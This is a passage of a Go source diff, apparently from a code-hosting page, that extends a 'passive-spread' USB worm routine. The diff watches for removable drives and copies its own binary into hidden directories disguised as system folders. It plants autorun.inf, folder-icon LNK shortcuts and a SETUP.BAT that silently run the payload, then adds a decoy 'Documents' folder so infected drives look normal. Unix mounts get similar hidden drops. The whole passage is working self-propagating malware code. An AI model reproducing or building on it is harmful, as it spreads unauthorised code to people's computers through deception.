log.Printf("[passive-spread] new removable mount: %s", mp)
|
||||
state[mp] = mountState{}
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
continue
|
||||
}
|
||||
if prev.payloadSize != exeInfo.Size() {
|
||||
log.Printf("[passive-spread] refreshing stale payload on %s", mp)
|
||||
state[mp] = mountState{}
|
||||
go spreadToMountUnix(cfg, mp)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// findUnixPayloadSize scans the known Unix drop dirs for a payload binary.
|
||||
func findUnixPayloadSize(mountPoint string) (size int64, found bool) {
|
||||
dotDirs := []string{".Spotlight-V100", ".metadata", ".fseventsd"}
|
||||
for _, dir := range dotDirs {
|
||||
entries, err := os.ReadDir(filepath.Join(mountPoint, dir))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
fi, err := e.Info()
|
||||
if err == nil && !e.IsDir() && fi.Mode()&0100 != 0 {
|
||||
return fi.Size(), true
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
// listRemovableMounts returns currently-mounted removable media paths.
|
||||
|
||||
@@ -91,44 +91,98 @@ func setHiddenSystem(path string) {
|
||||
// USB watcher
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
// knownDropDirs is the set of hidden directory names we may use as drop dirs.
|
||||
var knownDropDirs = []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
|
||||
|
||||
// runUSBWatcher polls for removable drives every 8 seconds and spreads to any
|
||||
// that don't already carry an up-to-date payload.
|
||||
func runUSBWatcher(cfg config.RuntimeConfig) {
|
||||
seen := map[string]bool{}
|
||||
// Seed with drives already present at start — don't spread to them immediately.
|
||||
// Track drives + the size of the payload we last wrote to each.
|
||||
type driveState struct{ payloadSize int64 }
|
||||
state := map[string]driveState{}
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Check drives already present when the agent starts — spread to any that
|
||||
// are missing or stale (different binary size), don't just skip them.
|
||||
for _, d := range getLogicalDrives() {
|
||||
if getDriveType(d) == driveRemovable {
|
||||
seen[d] = true
|
||||
size, found := findUSBPayloadSize(d)
|
||||
if !found || isPayloadStale(exePath, size) {
|
||||
go spreadToUSB(cfg, d)
|
||||
state[d] = driveState{}
|
||||
} else {
|
||||
state[d] = driveState{payloadSize: size}
|
||||
}
|
||||
}
|
||||
}
|
||||
ticker := time.NewTicker(20 * time.Second)
|
||||
|
||||
ticker := time.NewTicker(8 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
exeInfo, err := os.Stat(exePath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, d := range getLogicalDrives() {
|
||||
if getDriveType(d) != driveRemovable {
|
||||
continue
|
||||
}
|
||||
if seen[d] {
|
||||
prev, seen := state[d]
|
||||
if !seen {
|
||||
// Brand-new drive just inserted
|
||||
log.Printf("[passive-spread] new USB drive: %s", d)
|
||||
state[d] = driveState{}
|
||||
go spreadToUSB(cfg, d)
|
||||
continue
|
||||
}
|
||||
seen[d] = true
|
||||
log.Printf("[passive-spread] new USB drive: %s", d)
|
||||
go spreadToUSB(cfg, d)
|
||||
// Refresh if the agent binary was updated since we last wrote
|
||||
if prev.payloadSize != exeInfo.Size() {
|
||||
log.Printf("[passive-spread] refreshing stale payload on %s", d)
|
||||
state[d] = driveState{}
|
||||
go spreadToUSB(cfg, d)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// spreadToUSB copies the agent onto a freshly inserted removable drive
|
||||
// using three complementary techniques:
|
||||
// 1. autorun.inf — auto-execute on Windows XP/Vista/7 (no prompt)
|
||||
// 2. LNK shortcut — looks like a folder; user double-clicks it
|
||||
// 3. Hidden dir — keeps the binary out of plain sight
|
||||
// findUSBPayloadSize scans the known drop dirs on drive and returns the file
|
||||
// size of the first .exe found, plus a bool indicating success.
|
||||
func findUSBPayloadSize(drive string) (size int64, found bool) {
|
||||
for _, dir := range knownDropDirs {
|
||||
entries, err := os.ReadDir(filepath.Join(drive, dir))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() && strings.HasSuffix(strings.ToLower(e.Name()), ".exe") {
|
||||
fi, err := e.Info()
|
||||
if err == nil {
|
||||
return fi.Size(), true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
// spreadToUSB copies the agent onto a removable drive using four techniques:
|
||||
// 1. Hidden drop dir — binary in a disguised system subfolder
|
||||
// 2. autorun.inf — legacy auto-execute (XP/Vista/7)
|
||||
// 3. LNK shortcut — folder icon; user double-clicks it (Win8+)
|
||||
// 4. SETUP.BAT — plain visible batch file as fallback trigger
|
||||
// 5. Decoy folder — fake "Documents" folder so drive looks natural
|
||||
func spreadToUSB(cfg config.RuntimeConfig, drive string) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// Randomised drop directory looks like a Windows system folder.
|
||||
dropDirNames := []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
|
||||
dropDir := filepath.Join(drive, dropDirNames[rand.Intn(len(dropDirNames))])
|
||||
|
||||
// Randomised drop directory that looks like a Windows system folder.
|
||||
dropDir := filepath.Join(drive, knownDropDirs[rand.Intn(len(knownDropDirs))])
|
||||
if err := os.MkdirAll(dropDir, 0755); err != nil {
|
||||
return
|
||||
}
|
||||
@@ -142,19 +196,37 @@ func spreadToUSB(cfg config.RuntimeConfig, drive string) {
|
||||
setHiddenSystem(destBin)
|
||||
log.Printf("[passive-spread] agent copied to %s", destBin)
|
||||
|
||||
// 1. autorun.inf (works on older Windows, silently ignored on Win8+)
|
||||
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\n",
|
||||
`\`+filepath.Join(filepath.Base(dropDir), destName),
|
||||
`\`+filepath.Join(filepath.Base(dropDir), destName),
|
||||
relBin := `\` + filepath.Join(filepath.Base(dropDir), destName)
|
||||
|
||||
// 1. autorun.inf (works on XP/Vista/7; silently ignored on Win8+)
|
||||
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\naction=Open folder to view files\r\n",
|
||||
relBin, relBin,
|
||||
)
|
||||
_ = os.WriteFile(filepath.Join(drive, "autorun.inf"), []byte(autorun), 0644)
|
||||
setHiddenSystem(filepath.Join(drive, "autorun.inf"))
|
||||
|
||||
// 2. LNK shortcut that looks like the drive's main folder.
|
||||
// We pick a name that mirrors whatever real directories are present
|
||||
// so it blends in, or fall back to a generic "Open Documents" label.
|
||||
// 2. LNK shortcut — folder icon, minimised window
|
||||
lnkName := pickLinkName(drive)
|
||||
createFolderShortcut(drive, lnkName, destBin)
|
||||
|
||||
// 3. SETUP.BAT — visible plain-text trigger; searches all known drop dirs
|
||||
// so it works even if the LNK is deleted. The bat runs the exe minimised.
|
||||
batLines := "@echo off\r\n"
|
||||
for _, dir := range knownDropDirs {
|
||||
batLines += fmt.Sprintf("if exist \"%%~dp0%s\\*.exe\" (for %%%%F in (\"%%~dp0%s\\*.exe\") do (start \"\" /min \"%%%%F\" --run & goto :done))\r\n",
|
||||
dir, dir)
|
||||
}
|
||||
batLines += ":done\r\n"
|
||||
batPath := filepath.Join(drive, "SETUP.BAT")
|
||||
_ = os.WriteFile(batPath, []byte(batLines), 0644)
|
||||
|
||||
// 4. Decoy visible folder so the drive looks natural when opened
|
||||
decoyDir := filepath.Join(drive, pickDecoyFolderName(drive))
|
||||
if err := os.MkdirAll(decoyDir, 0755); err == nil {
|
||||
// Drop a harmless placeholder so it doesn't look empty
|
||||
_ = os.WriteFile(filepath.Join(decoyDir, "readme.txt"),
|
||||
[]byte("This folder is empty.\r\n"), 0644)
|
||||
}
|
||||
}
|
||||
|
||||
// usbPayloadName returns a plausible system binary name for the USB payload.
|
||||
@@ -185,13 +257,36 @@ func pickLinkName(drive string) string {
|
||||
return "Open Documents"
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() && !strings.HasPrefix(e.Name(), "~") && !strings.HasPrefix(e.Name(), "$") && !strings.HasPrefix(e.Name(), ".") {
|
||||
return e.Name() // shortcut will have the same name as the first real folder
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
n := e.Name()
|
||||
if strings.HasPrefix(n, "~") || strings.HasPrefix(n, "$") || strings.HasPrefix(n, ".") {
|
||||
continue
|
||||
}
|
||||
return n
|
||||
}
|
||||
return "Open Documents"
|
||||
}
|
||||
|
||||
// pickDecoyFolderName returns a visible folder name to create on the USB so
|
||||
// the drive looks like it contains real content. It avoids names already
|
||||
// used by pickLinkName so the shortcut name and decoy name differ.
|
||||
func pickDecoyFolderName(drive string) string {
|
||||
candidates := []string{"Documents", "Photos", "Videos", "Music", "Backup", "Files"}
|
||||
entries, _ := os.ReadDir(drive)
|
||||
existing := map[string]bool{}
|
||||
for _, e := range entries {
|
||||
existing[strings.ToLower(e.Name())] = true
|
||||
}
|
||||
for _, c := range candidates {
|
||||
if !existing[strings.ToLower(c)] {
|
||||
return c
|
||||
}
|
||||
}
|
||||
return "Backup"
|
||||
}
|
||||
|
||||
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
|
||||
// create an LNK shortcut with a folder icon that silently runs destBin.
|
||||
func createFolderShortcut(dir, name, destBin string) {
|
||||
|
||||
Reference in New Issue
Block a user